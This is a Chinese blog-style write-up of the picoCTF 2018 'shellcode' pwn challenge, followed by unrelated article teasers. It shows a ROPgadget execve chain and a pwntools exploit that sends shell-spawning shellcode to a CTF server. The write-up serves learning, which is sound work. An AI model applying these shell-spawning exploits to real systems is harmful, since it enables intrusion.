picoctf_2018_shellcode

news2024/11/30 8:44:51

picoctf_2018_shellcode

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,啥都没开

这个看着挺大的,直接来个ROPchain,

#!/usr/bin/env python2
	# execve generated by ROPgadget

	from struct import pack

	# Padding goes here
	p = ''

	p += pack('<I', 0x0806f05a) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b81f6) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f05a) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b81f6) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806f05a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049333) # xor eax, eax ; ret
	p += pack('<I', 0x08054a0b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de995) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806f05a) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x08049333) # xor eax, eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0805c312) # inc eax ; ret
	p += pack('<I', 0x0806cc55) # int 0x80

还真有

,然后让我看看溢出点

main函数无法编译,(得看汇编了

(但是我们可以反汇编vuln函数

int __cdecl vuln(int a1)
{
  gets(a1);
  return puts(a1);
}

vuln很简单,但是a1在栈中的位置

我们看看main传了什么进去

.text:080488F2                 add     esp, 10h
.text:080488F5                 sub     esp, 0Ch
.text:080488F8                 lea     eax, [ebp+var_A0]
.text:080488FE                 push    eax
.text:080488FF                 call    vuln

把var_A0传入,也就是我们输入的位置,从var_A0开始写入

在观察一下main的汇编

发现一个东西

.text:08048914                 add     esp, 10h
.text:08048917                 lea     eax, [ebp+var_A0]
.text:0804891D                 call    eax
.text:0804891F                 mov     eax, 0
.text:08048924                 mov     ecx, [ebp+var_4]
.text:08048927                 leave

在main的后面有个call var_A0也就是说,我们写的东西能直接执行,并且也没开NX

思路

直接写shellcode

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25457,"./pwn",0)
context(os='linux', arch='i386',log_level='debug')

sl(asm(shellcraft.sh()))

ia()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1054908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mapfree智驾方案,怎样实现成本可控?

整理|睿思 编辑|祥威 编者注&#xff1a;本文是HiEV出品的系列直播「智驾地图之变」第二期问答环节内容整理。 元戎启行副总裁刘轩与连线嘉宾奥维咨询董事合伙人张君毅、北汽研究总院智能网联中心专业总师林大洋、主持嘉宾周琳展开深度交流&#xff0c;并进行了答疑。 本期元…

新手--安装好Quartus II13.0(带modelsim集成包)并用Quartus II搭建一个工程

前言 今天是国庆节&#xff0c;我们正式来学习Quartus II13.0软件的安装与使用。学习verilog与学习C语言都是学习一门语言&#xff0c;那么学习一门语言&#xff0c;光看理论不敲代码绝对是学习不好的。要用verilog语言敲代码&#xff0c;就要像C语言那样搭建起语言的编译环境&…

USART串口协议

通信接口 •通信的目的&#xff1a;将一个设备的数据传送到另一个设备&#xff0c;扩展硬件系统 • 通信协议&#xff1a;制定通信的规则&#xff0c;通信双方按照协议规则进行数据收发 全双工&#xff1a;指通信双方能够同时进行双向通信&#xff0c;一般来说&#xff0c;全双…

扩容领跑者 Arbitrum 抢占 Layer3 竞争高地

近段时间以来&#xff0c;Arbitrum 凭借创新技术和优越生态系统逐渐成为顶尖的以太坊扩容解决方案。当新一轮 Layer3 竞争在 Rollup 领域展开时&#xff0c;Arbitrum 和 Optimism 始终是备受瞩目的两大角色。Optimism 以独特的 OP Stack 进行水平扩展&#xff0c;而 Arbitrum 则…

K-Means(下):数据分析 | 数据挖掘 | 十大算法之一

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ &#x1f434;作者&#xff1a;秋无之地 &#x1f434;简介&#xff1a;CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作&#xff0c;主要擅长领域有&#xff1a;爬虫、后端、大数据…

shell脚本使用(宿主机windows-服务器-centos)--用于使用shell脚本方式控制docker容器

需求: 我想要使得windows上编写shell脚本&#xff0c;并且在这个shell脚本在linux中也可用 shell脚本在windows上无法直接运行&#xff0c;但是有WSL这个linux子系统的工具 可以使得shell脚本在主机上执行 视频讲解连接 https://www.bilibili.com/video/BV1Tw411Y7FP/方式1 …

Object.defineProperty()方法详解,了解vue2的数据代理

假期第一篇&#xff0c;对于基础的知识点&#xff0c;我感觉自己还是很薄弱的。 趁着假期&#xff0c;再去复习一遍 Object.defineProperty(),对于这个方法&#xff0c;更多的还是停留在面试的时候&#xff0c;面试官问你vue2和vue3区别的时候&#xff0c;不免要提一提这个方法…

【VIM】VIm-plug插件

如何查找需要的插件 https://github.com/mhinz/vim-startify https://github.com/vim-airline/vim-airline https://github.com/Yggdroot/indentLine github.com/w0ng/vim-hybrid github.com/altercationi/vim-colors-solarized guithub.com/morhetz/gruvbox github.com/sc…

cesium 雷达扫描 (波纹线性雷达扫描效果)

cesium 雷达扫描 (波纹线性雷达扫描效果) 1、实现方法 使用ellipse方法加载圆型,修改ellipse中material方法来实现效果 2、示例代码 2.1 <!DOCTYPE html> <html lang="en"><head>&l

NSSCTF做题(3)

[鹤城杯 2021]EasyP 代码审计 <?php include utils.php; if (isset($_POST[guess])) { $guess (string) $_POST[guess]; if ($guess $secret) {//两个变量相等 $message Congratulations! The flag is: . $flag; } else { $message Wron…

java多线程相关介绍

1. 线程的创建和启动 在 Java 中创建线程有两种方式。一种是继承 Thread 类并重写其中的 run() 方法&#xff0c;另一种是实现 Runnable 接口并重写其中的 run() 方法。创建完线程对象后&#xff0c;调用 start() 方法可以启动线程。 2. 线程的状态 Java 的线程在不同阶段会处于…

计算机竞赛 深度学习火车票识别系统

文章目录 0 前言1 课题意义课题难点&#xff1a; 2 实现方法2.1 图像预处理2.2 字符分割2.3 字符识别部分实现代码 3 实现效果4 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 图像识别 火车票识别系统 该项目较为新颖&#xff0c;适…

牛客网_HJ2_计算某字符出现次数

HJ2_计算某字符出现次数 原题思路代码运行截图收获 原题 HJ2_计算某字符出现次数 思路 把输入的字符串和字符都变成大写或小写&#xff0c;然后逐一计数 代码 #include <cctype> #include <iostream> #include <string> #include <algorithm> usi…

Python3数据科学包系列(二):数据分析实战

Python3中类的高级语法及实战 Python3(基础|高级)语法实战(|多线程|多进程|线程池|进程池技术)|多线程安全问题解决方案 Python3数据科学包系列(一):数据分析实战 Python3数据科学包系列(二):数据分析实战 一&#xff1a;通过read_table函数读取数据创建(DataFrame)数据框 #…

数据结构:复杂度分析

目录 1 算法效率评估 1.1 实际测试 1.2 理论估算 2 迭代与递归 2.1 迭代 1. for 循环 2. while 循环 3. 嵌套循环 2.2 递归 1. 调用栈 2. 尾递归 3. 递归树 2.3 两者对比 3 时间复杂度 3.1 统计时间增长趋势 3.2 函数渐近上界…

Unity HDRP Custom Pass 实现场景雪地效果

先使用Shader Graph连一个使用模型法线添加雪地的shader&#xff0c;并赋给一个material。 1.1 先拿到模型世界坐标下的顶点法线&#xff0c;简单处理一下&#xff0c;赋给透明度即可。 给场景添加Custom Pass&#xff0c;剔除不需要的层级。 1.在Hierarchy界面中&#xff…

Ps:选择高光阴影中间调的方法

素描中的三大面&#xff1a;明面、灰面及暗面&#xff0c;基本上可对应数字图像中的高光、中间调和阴影。选出数字图像的这三大区域&#xff0c;可快速进行分级调色。 说明&#xff1a; 在练习过程中&#xff0c;为了更清楚地识别选择的范围&#xff0c;可以建立一个从黑到白的…

Promise击鼓传花的游戏

Promise击鼓传花的游戏 Promise系列导航前言一、学习Promise的原因二、揭开击鼓传花游戏的面纱补充小知识 Promise系列导航 1.Promise本质击鼓传花的游戏 2.Promise四式击鼓 3.Promise击鼓传花 4.Promise花落谁家知多少 前言 &#x1f468;‍&#x1f4bb;&#x1f468;‍&…

竞赛 大数据房价预测分析与可视

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 大数据房价预测分析与可视 &#x1f947;学长这里给一个题目综合评分(每项满分5分) 难度系数&#xff1a;3分工作量&#xff1a;3分创新点&#xff1a;4分 该项目较为新颖&#xff0c;适合…

Spring5 自定义标签开发

spring5 自定义脚本开发步骤 1 定义bean&#xff0c; public class User {private String id;private String userName;private String email;private String password;public String getId() {return id;}public void setId(String id) {this.id id;}public String getUser…